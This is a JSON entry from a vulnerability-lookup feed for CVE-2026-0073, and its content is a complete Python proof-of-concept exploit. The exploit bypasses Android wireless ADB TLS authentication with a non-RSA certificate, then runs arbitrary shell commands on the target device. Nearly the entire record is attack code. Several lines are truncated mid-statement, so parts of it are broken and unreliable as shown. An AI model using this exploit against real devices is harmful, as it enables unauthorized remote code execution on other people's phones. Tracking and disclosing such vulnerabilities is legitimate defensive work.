{"uuid": "c038fd18-dafa-4b70-adc2-595d37b14a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0073", "type": "seen", "source": "https://gist.github.com/adityatelange/cbf0f58109042a653c022faff3cc5ccd", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-0073 - ADB Wireless Mutual Authentication Bypass PoC\n\nVulnerability: Logic error in adbd_tls_verify_cert (auth.cpp)\n               EVP_PKEY_cmp return value is used in a boolean context.\n               Returns -1 for key type mismatch, which evaluates as truthy,\n               causing adbd to grant authentication to any client presenting\n               a non-RSA certificate (e.g., EC key).\n\nAffected:  Android devices with wireless ADB enabled (pre-May 2026 ASB patch)\nImpact:    Remote (proximal/adjacent) code execution as shell user\n\nRequirements:\n    pip install cryptography\n\nADB TLS connection flow (Android 11+):\n    1. Plain TCP connection\n    2. Plain CNXN exchange  (client advertises \"tls_auth\" feature)\n    3. A_STLS exchange      (both sides signal TLS upgrade)\n    4. TLS handshake        (adbd calls adbd_tls_verify_cert on client cert)\n    5. Server CNXN arrives  (over TLS, auth complete)\n    6. Client opens service stream (shell/exec)\n\nUsage:\n    python3 poc.py  [port] [command] [key_type] [--verbose]\n\nExample:\n    python3 poc.py 192.168.1.100 5555 id ec --verbose\n\"\"\"\n\nimport os\nimport sys\nimport socket\nimport ssl\nimport struct\nimport tempfile\nimport datetime\n\ntry:\n    from cryptography import x509\n    from cryptography.x509.oid import NameOID\n    from cryptography.hazmat.primitives import hashes, serialization\n    from cryptography.hazmat.primitives.asymmetric import ec, ed25519\nexcept ImportError:\n    print(\"[-] Missing dependency: pip install cryptography\")\n    sys.exit(1)\n\n# \u2500\u2500 ADB protocol constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nADB_VERSION = 0x01000001\nADB_MAX_DATA = 1024 * 1024\nA_CNXN = 0x4E584E43\n# A_OPEN must be 0x4E45504F (\"OPEN\" in little-endian u32 form)\nA_OPEN = 0x4E45504F\nA_OKAY = 0x59414B4F\nA_CLSE = 0x45534C43\nA_WRTE = 0x45545257\nA_STLS = 0x534C5453   # Start-TLS upgrade\n\n# TLS version constants used in A_STLS arg0\nADB_TLS_VERSION_MIN = 0x01000000\nINITIAL_DELAYED_ACK_BYTES = 32 * 1024 * 1024\nADB_FEATURE_DELAYED_ACK = \"delayed_ack\"\n\n# Advertise tls_auth so adbd knows we support the STLS upgrade (pre-TLS only)\nADB_FEATURES_PLAIN = (\n    b\"host::features=shell_v2,cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,\"\n    b\"fixed_push_symlink_timestamp,abb_exec,remount_shell,track_app,\"\n    b\"sendrecv_v2,sendrecv_v2_brotli,sendrecv_v2_lz4,sendrecv_v2_zstd,\"\n    b\"sendrecv_v2_dry_run_send,openscreen_mdns,tls_auth\\x00\"\n)\n\n# \u2500\u2500 Certificate generation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n# Key types that trigger non-zero (non-match) returns from EVP_PKEY_cmp:\n#   ec       \u2192 EVP_PKEY_cmp returns -1 (different key type)\n#   ed25519  \u2192 EVP_PKEY_cmp returns -2 (operation not supported by BoringSSL)\n# Both are non-zero and therefore truthy in the buggy if-condition.\nKEY_TYPES = [\"ec\", \"ed25519\"]\n\n\ndef generate_bypass_cert(key_type: str = \"ec\"):\n    \"\"\"\n    Generate a self-signed TLS certificate with a non-RSA key.\n\n    - ec      : EVP_PKEY_cmp(rsa, ec)      \u2192 -1 (type mismatch)         \u2192 truthy\n    - ed25519 : EVP_PKEY_cmp(rsa, ed25519) \u2192 -2 (unsupported operation) \u2192 truthy\n\n    Both values are non-zero and bypass the buggy:\n        if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get()))\n    \"\"\"\n    if key_type == \"ed25519\":\n        key = ed25519.Ed25519PrivateKey.generate()\n        sign_alg = None   # Ed25519 uses no separate hash\n    else:\n        key = ec.generate_private_key(ec.SECP256R1())\n        sign_alg = hashes.SHA256()\n\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"adbkey\")])\n    builder = (\n        x509.CertificateBuilder()\n        .subject_name(name)\n        .issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(datetime.datetime.utcnow())\n        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))\n    )\n    cert = builder.sign(key, sign_alg)\n    return key, cert\n\n\n# \u2500\u2500 ADB protocol helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef _crc32(data: bytes) -&gt; int:\n    return sum(data) &amp; 0xFFFFFFFF\n\n\ndef pack_message(cmd: int, arg0: int, arg1: int, data: bytes = b\"\") -&gt; bytes:\n    magic = cmd ^ 0xFFFFFFFF\n    header = struct.pack(\n        \" dict | None:\n    \"\"\"Read one complete ADB message (24-byte header + payload).\"\"\"\n    raw = b\"\"\n    while len(raw) &lt; 24:\n        chunk = sock.recv(24 - len(raw))\n        if not chunk:\n            return None\n        raw += chunk\n\n    cmd, arg0, arg1, data_len, _, _ = struct.unpack(\" str:\n    return _CMD_NAMES.get(cmd, hex(cmd))\n\n\ndef parse_feature_set(banner_data: bytes) -&gt; set[str]:\n    \"\"\"Extract feature list from a CNXN banner payload.\"\"\"\n    banner = banner_data.decode(errors=\"replace\").strip(\"\\x00\")\n    for part in banner.split(\";\"):\n        if part.startswith(\"features=\"):\n            return {f for f in part[len(\"features=\"):].split(\",\") if f}\n    return set()\n\n\n# \u2500\u2500 Exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n# TLS alert 46 = certificate_unknown\n_SSL_ALERT_CERTIFICATE_UNKNOWN = 46\n\ndef _handle_ssl_error(exc: ssl.SSLError) -&gt; None:\n    reason = str(exc)\n    if \"CERTIFICATE_UNKNOWN\" in reason or f\"alert {_SSL_ALERT_CERTIFICATE_UNKNOWN}\" in reason:\n        print(\"[-] adbd sent certificate_unknown alert \u2014 authentication was denied.\")\n        print()\n        print(\"    Two possible causes:\")\n        print()\n        print(\"    1. PATCHED (most likely if `adb devices` shows the device):\")\n        print(\"       The May 2026 ASB fix changes the condition from\")\n        print(\"         if (EVP_PKEY_cmp(...))          // buggy: -1 is truthy\")\n        print(\"       to\")\n        print(\"         if (EVP_PKEY_cmp(...) == 1)     // fixed: only exact match\")\n        print(\"       so EVP_PKEY_cmp returning -1 (type mismatch) no longer bypasses auth.\")\n        print(\"       Verify with: adb shell getprop ro.build.version.security_patch\")\n        print(\"       Vulnerable builds have a patch level before 2026-05-01.\")\n        print()\n        print(\"    2. NO STORED RSA KEYS (if device was never paired):\")\n        print(\"       IteratePublicKeys() has nothing to iterate \u2014 the buggy\")\n        print(\"       EVP_PKEY_cmp path is never reached \u2014 authorized stays false.\")\n        print(\"       The device must have \u22651 previously authorized RSA key in\")\n        print(\"       /data/misc/adb/adb_keys for the vulnerability to be triggered.\")\n    else:\n        print(f\"[-] SSL error: {exc}\")\n\n\ndef _make_ssl_context(cert_path: str, key_path: str) -&gt; ssl.SSLContext:\n    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(certfile=cert_path, keyfile=key_path)\n    # adbd requires TLS 1.3; allow 1.2 as fallback for older builds\n    ctx.minimum_version = ssl.TLSVersion.TLSv1_2\n    return ctx\n\n\ndef exploit(target_ip: str, target_port: int = 5555, command: str = \"id\",\n            key_type: str = \"ec\", verbose: bool = False) -&gt; bool:\n    def dbg(message: str) -&gt; None:\n        if verbose:\n            print(message)\n\n    print(\"=\" * 60)\n    print(\"  CVE-2026-0073 - ADB Wireless Auth Bypass PoC\")\n    print(\"=\" * 60)\n    print(f\"[*] Target   : {target_ip}:{target_port}\")\n    print(f\"[*] Command  : {command}\")\n    print(f\"[*] Key type : {key_type}\")\n    print()\n\n    # 1. Generate malicious certificate with a non-RSA key\n    print(f\"[*] Generating {key_type} self-signed certificate ...\")\n    key, cert = generate_bypass_cert(key_type)\n\n    cert_pem = cert.public_bytes(serialization.Encoding.PEM)\n    key_pem = key.private_bytes(\n        serialization.Encoding.PEM,\n        serialization.PrivateFormat.TraditionalOpenSSL,\n        serialization.NoEncryption(),\n    )\n\n    cert_tmp = tempfile.NamedTemporaryFile(delete=False, suffix=\".pem\")\n    key_tmp  = tempfile.NamedTemporaryFile(delete=False, suffix=\".pem\")\n    try:\n        cert_tmp.write(cert_pem); cert_tmp.close()\n        key_tmp.write(key_pem);   key_tmp.close()\n\n        expected_ret = \"-2 (unsupported)\" if key_type == \"ed25519\" else \"-1 (type mismatch)\"\n        print(f\"[+] Certificate ready \u2014 {key_type} key will cause EVP_PKEY_cmp to return {expected_ret}\")\n        print(f\"[*] adbd evaluates {expected_ret.split()[0]} as truthy \u2192 authorized = true\")\n        print()\n\n        # \u2500\u2500 Step 1: Plain TCP connection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Connecting (plain TCP) ...\")\n        raw_sock = socket.create_connection((target_ip, target_port), timeout=10)\n        raw_sock.settimeout(10)\n\n        # \u2500\u2500 Step 2: Client sends CNXN; server replies with A_STLS \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        # adbd does NOT send its own CNXN before STLS \u2014 it responds to the\n        # client's CNXN with A_STLS to initiate the TLS upgrade immediately.\n        print(\"[*] Sending plain CNXN (advertising tls_auth feature) ...\")\n        raw_sock.sendall(pack_message(A_CNXN, ADB_VERSION, ADB_MAX_DATA, ADB_FEATURES_PLAIN))\n\n        msg = recv_message(raw_sock)\n        if msg is None:\n            print(\"[-] No response to CNXN\")\n            return False\n\n        if msg[\"cmd\"] == A_CNXN:\n            # Some builds do send CNXN first; consume it and wait for STLS\n            server_banner = msg[\"data\"].decode(errors=\"replace\").strip(\"\\x00\")\n            print(f\"[+] Server CNXN: {server_banner[:100]}\")\n            if b\"tls_auth\" not in msg[\"data\"]:\n                print(\"[-] Server does not advertise tls_auth \u2014 device may be already patched\")\n                return False\n            msg = recv_message(raw_sock)\n\n        if msg is None or msg[\"cmd\"] != A_STLS:\n            got = cmd_name(msg[\"cmd\"]) if msg else \"none\"\n            print(f\"[-] Expected STLS from server, got {got}\")\n            return False\n\n        print(f\"[+] Server requests STLS (min TLS version: {hex(msg['arg0'])})\")\n\n        # \u2500\u2500 Step 3: Client sends A_STLS back to confirm upgrade \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Sending A_STLS back to confirm upgrade ...\")\n        raw_sock.sendall(pack_message(A_STLS, ADB_TLS_VERSION_MIN, 0))\n\n        # \u2500\u2500 Step 4: TLS handshake with non-RSA certificate \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Performing TLS handshake with non-RSA certificate ...\")\n        ssl_ctx = _make_ssl_context(cert_tmp.name, key_tmp.name)\n        tls_sock = ssl_ctx.wrap_socket(raw_sock, server_side=False,\n                                       server_hostname=target_ip,\n                                       do_handshake_on_connect=False)\n        try:\n            tls_sock.do_handshake()\n        except ssl.SSLError as e:\n            _handle_ssl_error(e)\n            return False\n\n        cipher = tls_sock.cipher()\n        print(f\"[+] TLS handshake accepted \u2014 mutual authentication bypassed!\")\n        print(f\"    Cipher: {cipher[0]}  Protocol: {cipher[1]}\")\n        print()\n\n        # \u2500\u2500 Step 5: Wait for server CNXN over TLS \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        # Important: do NOT send another client CNXN here. On adbd transports\n        # with use_tls=true, every received CNXN triggers a new STLS request.\n        local_id = 1\n        print(\"[*] Waiting for server post-TLS CNXN ...\")\n        msg = recv_message(tls_sock)\n        if msg is None or msg[\"cmd\"] != A_CNXN:\n            print(f\"[-] Expected server CNXN over TLS, got {cmd_name(msg['cmd']) if msg else 'none'}\")\n            return False\n\n        banner = msg[\"data\"].decode(errors=\"replace\").strip(\"\\x00\")\n        server_features = parse_feature_set(msg[\"data\"])\n        delayed_ack_enabled = ADB_FEATURE_DELAYED_ACK in server_features\n        print(f\"[+] Server identity: {banner[:100]}\")\n        print(\"[+] Authenticated \u2014 command channel ready\")\n        dbg(f\"[*] Server features: {sorted(server_features)}\")\n        dbg(f\"[*] delayed_ack enabled: {delayed_ack_enabled}\")\n        print()\n\n        # \u2500\u2500 Step 6: Open command stream \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        # Try shell first, then exec as a fallback for builds with different\n        # service wiring.\n        service_candidates = [\n            f\"shell:{command}\\x00\".encode(),\n            f\"exec:{command}\\x00\".encode(),\n        ]\n\n        remote_id = None\n        tls_sock.settimeout(10)\n        for payload in service_candidates:\n            service_name = payload.decode(errors=\"ignore\").rstrip(\"\\x00\")\n            print(f\"[*] Opening service: {service_name!r}\")\n            open_send_bytes = INITIAL_DELAYED_ACK_BYTES if delayed_ack_enabled else 0\n            tls_sock.sendall(pack_message(A_OPEN, local_id, open_send_bytes, payload))\n\n            while True:\n                msg = recv_message(tls_sock)\n                if msg is None:\n                    print(\"[-] Connection closed waiting for OPEN response\")\n                    return False\n                dbg(f\"[*] After OPEN, received: {cmd_name(msg['cmd'])}  arg0={msg['arg0']}  data={msg['data'][:32]!r}\")\n\n                if msg[\"cmd\"] == A_OKAY:\n                    remote_id = msg[\"arg0\"]\n                    okay_payload = b\"\"\n                    if delayed_ack_enabled:\n                        okay_payload = struct.pack(\" [port] [command] [key_type] [--verbose]\")\n        print(f\"  target_ip  IP of the Android device\")\n        print(f\"  port       ADB port (default: 5555)\")\n        print(f\"  command    Shell command to run (default: id)\")\n        print(f\"  key_type   Certificate key type: ec or ed25519 (default: ec)\")\n        print(f\"             ec      \u2192 EVP_PKEY_cmp returns -1 (type mismatch)\")\n        print(f\"             ed25519 \u2192 EVP_PKEY_cmp returns -2 (unsupported op)\")\n        print(f\"  --verbose  Enable protocol debug logs\")\n        sys.exit(1)\n\n    ip       = args[0]\n    port     = int(args[1]) if len(args) &gt; 1 else 5555\n    cmd      = args[2] if len(args) &gt; 2 else \"id\"\n    key_type = args[3] if len(args) &gt; 3 else \"ec\"\n\n    if key_type not in KEY_TYPES:\n        print(f\"[-] Unknown key type {key_type!r}. Choose from: {KEY_TYPES}\")\n        sys.exit(1)\n\n    exploit(ip, port, cmd, key_type, verbose)\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-05-06T17:43:00.000000Z"}